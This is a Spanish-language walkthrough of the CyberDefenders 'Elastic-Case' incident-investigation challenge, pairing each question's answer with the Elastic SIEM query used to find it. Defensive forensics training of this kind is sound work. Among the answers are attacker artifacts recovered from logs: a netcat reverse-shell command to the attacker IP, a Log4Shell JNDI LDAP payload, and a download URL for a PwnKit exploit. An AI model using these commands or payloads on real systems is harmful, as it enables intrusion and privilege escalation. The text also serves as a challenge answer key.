Cyberdefenders – Elastic-Case

Scenario:

An attacker was able to trick an employee into downloading a suspicious file and running it. The attacker compromised the system, along with that, The Security Team did not update most systems. The attacker was able to pivot to another system and compromise the company. As a SOC analyst, you are assigned to investigate the incident using Elastic as a SIEM tool and help the team to kick out the attacker.

Resources:

  •  https://www.elastic.co/
  •  Threat Hunting with Elastic Stack by Andrew Pease (Book)
  • https://www.youtube.com/playlist?list=PLeLcvrwLe184BoWZhv6Cf2kbi-bKBeDBI
  • https://www.youtube.com/c/OfficialElasticCommunity
  • https://www.elastic.co/blog/

#1 Respuesta: ahmed

Who downloads the malicious file which has a double extension?

Obtención de la evidencia

Filtramos la doble extensión mediante file.name: *.*.exe y podemos ver como el usuario ahmed se a descargado un archivo llamado Acount_details.pdf.exe

Mas información

#2 Respuesta: DESKTOP-Q1SL9P2

What is the hostname he was using?

Obtención de la evidencia

En la anterior pregunta ya vimos el nombre del dispositivo desde donde se habia descargado el archivo

#3 Respuesta: Acount_details.pdf.exe

What is the name of the malicious file?

Obtención de la evidencia

En la anterior pregunta ya vimos el nombre del dispositivo desde donde se habia descargado el archivo

#4 Respuesta: 192.168.1.10

What is the attacker's IP address?

Obtención de la evidencia

Con los datos obtenidos anteriormente buscamos en Security > Alerts. Presionamos sobre Analyze Event

Una vez accedido podemos ver que existen 11 eventos de network.

#5 Respuesta: cybery

Another user with high privilege runs the same malicious file. What is the username?

Obtención de la evidencia

Como en la anterior pregunta nos vamos a en Security > Alerts y buscamos file.name : «Acount_details.pdf.exe». Como podemos observar en la imagen el usuario cybery tambien a ejecutado el archivo.

#6 Respuesta: mCblHDgWP.dll

The attacker was able to upload a DLL file of size 8704. What is the file name?

Obtención de la evidencia

Filtramos por todos los archivos con extensión .dll que su peso sea 8704 y esé asociado a nuestro archivo malicioso.

file.name : *.dll and file.size : "8704" and process.name : "Acount_details.pdf.exe" 

#7 Respuesta: rundll32.exe

What parent process name spawns cmd with NT AUTHORITY privilege and pid 10716?

Obtención de la evidencia

Filtramos por el PID y el nombre del proceso que nos indican.

process.pid : "10716" and process.name: "cmd.exe"

Como podemos ver en la siguiente imagen el proceso inicial es: rundll32.exe

#8 Respuesta: HKLM\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled

The previous process was able to access a registry. What is the full path of the registry?

Obtención de la evidencia

En el anterior pregunta vimos que el proceso que generaba el cmd.exe era rundll32.exe, si podemos apreciar este proceso realizo un registro.

#9 Respuesta: ModuleAnalysisCache

PowerShell process with pid 8836 changed a file in the system. What was that filename?

Obtención de la evidencia

Filtramos por el PID y por powershell

process.name: "powershell.exe" and process.pid : 8836

Accedemos a los ficheros y podemos comprobar que modifico el fichero ModuleAnalysisCache

#10 Respuesta: __PSScriptPolicyTest_bymwxuft.3b5.ps1

PowerShell process with pid 11676 created files with the ps1 extension. What is the first file that has been created?

Obtención de la evidencia

Nos vamos a Security > Hosts > Events y filtramos por el PID y la extensión indicada.

#11 Respuesta: 192.168.10.30

What is the machine's IP address that is in the same LAN as a windows machine?

Obtención de la evidencia

Accedemos a Security > Hosts y vemos todos los servidores

Como podemos observar nuestra maquina tiene la dirección ip 192.168.10.10

buscamos todo el rango 192.168.10.0/24 y excluimos nuestra propia ip

host.ip: 192.168.10.0/24 and NOT host.ip: 192.168.10.10 and NOT host.ip: 127.0.0.1

#12 Respuesta: salem

The attacker login to the Ubuntu machine after a brute force attack. What is the username he was successfully login with?

Obtención de la evidencia

Query

host.name: "ubuntu" and log.file.path : "/var/log/auth.log" and system.auth.ssh.event : "Accepted"

#13 Respuesta: https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py

After that attacker downloaded the exploit from the GitHub repo using wget. What is the full URL of the repo?

Obtención de la evidencia

Dado que sabemos por la anterior pregunta que se está realizando mediante el usuario salem y el servidor Ubuntu filtramos por estos datos.

Nos vamos a Security > Hosts > Events

host.name: "ubuntu" and user.name: "salem" 

Como podemos ver tenemos demasiados eventos, por lo tanto tenemos que seguir filtrando para obtener mayor información.

Dado que estamos en un servidor GNU/Linux seguiramente hayan empleado wget, curl o git para realizar la descarga.

host.name: "ubuntu" and user.name: "salem"  and process.args : "wget"

#14 Respuesta: 3a4ad518e9e404a6bad3d39dfebaf2f6

After The attacker runs the exploit, which spawns a new process called pkexec, what is the process's md5 hash?

Obtención de la evidencia

Filtramos por el nombre del exploit que vimos en la anterior pregunta CVE-2021-4034.py

host.name: "ubuntu" and user.name: "salem"  and process.args: "CVE-2021-4034.py" 
host.name: "ubuntu" and process.executable: "/usr/bin/pkexec"

#15 Respuesta: Bash -i

Then attacker gets an interactive shell by running a specific command on the process id 3011 with the root user. What is the command?

Obtención de la evidencia

Nos vamos nuevamente a Security > Hosts > Event y filtramos por el PID y el usuario proporcionado

host.name: "ubuntu" and user.name: "root"  and process.pid : "3011"

#16 Respuesta: centos

What is the hostname which alert signal.rule.name: "Netcat Network Activity"?

Obtención de la evidencia

Security > Alerts y filtramos por la regla «Netcat Network Activity»

#17 Respuesta: solr

What is the username who ran netcat?

Obtención de la evidencia

Filtramos por el proceso de netcat

process.args : "nc" and event.action : "exec"

#18 Respuesta: java

What is the parent process name of netcat?

Obtención de la evidencia

Com ya vimos en la pregunta anterior el proceso padre es java

#19 Respuesta: nc -e /bin/bash 192.168.1.10 9999

If you focus on nc process, you can get the entire command that the attacker ran to get a reverse shell. Write the full command?

Obtención de la evidencia

Buscamos los procesos que contengan «nc»

process.args : "nc" and event.action : "exec"

#20 Respuesta: Log4Shell

From the previous three questions, you may remember a famous java vulnerability. What is it?

#21 Respusta: /var/solr/logs/solr.log

What is the entire log file path of the "solr" application?

Obtención de la evidencia

Filtramos empleando log.file.path y el string que nos indican en la pregunta

log.file.path : *solr*

Obtención de la evidencia

#22 Respuesta: /admin/cores

What is the path that is vulnerable to log4j?

Obtención de la evidencia

Mediante el mismo filtro realizado en la pregunta #21 en «message» podemos obtener nuestra respuesta.

#23 Respuesta: foo

What is the GET request parameter used to deliver log4j payload?

Obtención de la evidencia

Mediante el mismo filtro realizado en la pregunta #21 en «message» podemos obtener nuestra respuesta.

#24 Respuesta: { foo = $ {jndi:ldap://192.168.1.10:1389/Exploit}}«

What is the JNDI payload that is connected to the LDAP port?

Obtención de la evidencia

Mediante el mismo filtro realizado en la pregunta #21 en «message» podemos obtener nuestra respuesta.

Deja una respuesta

Tu dirección de correo electrónico no será publicada.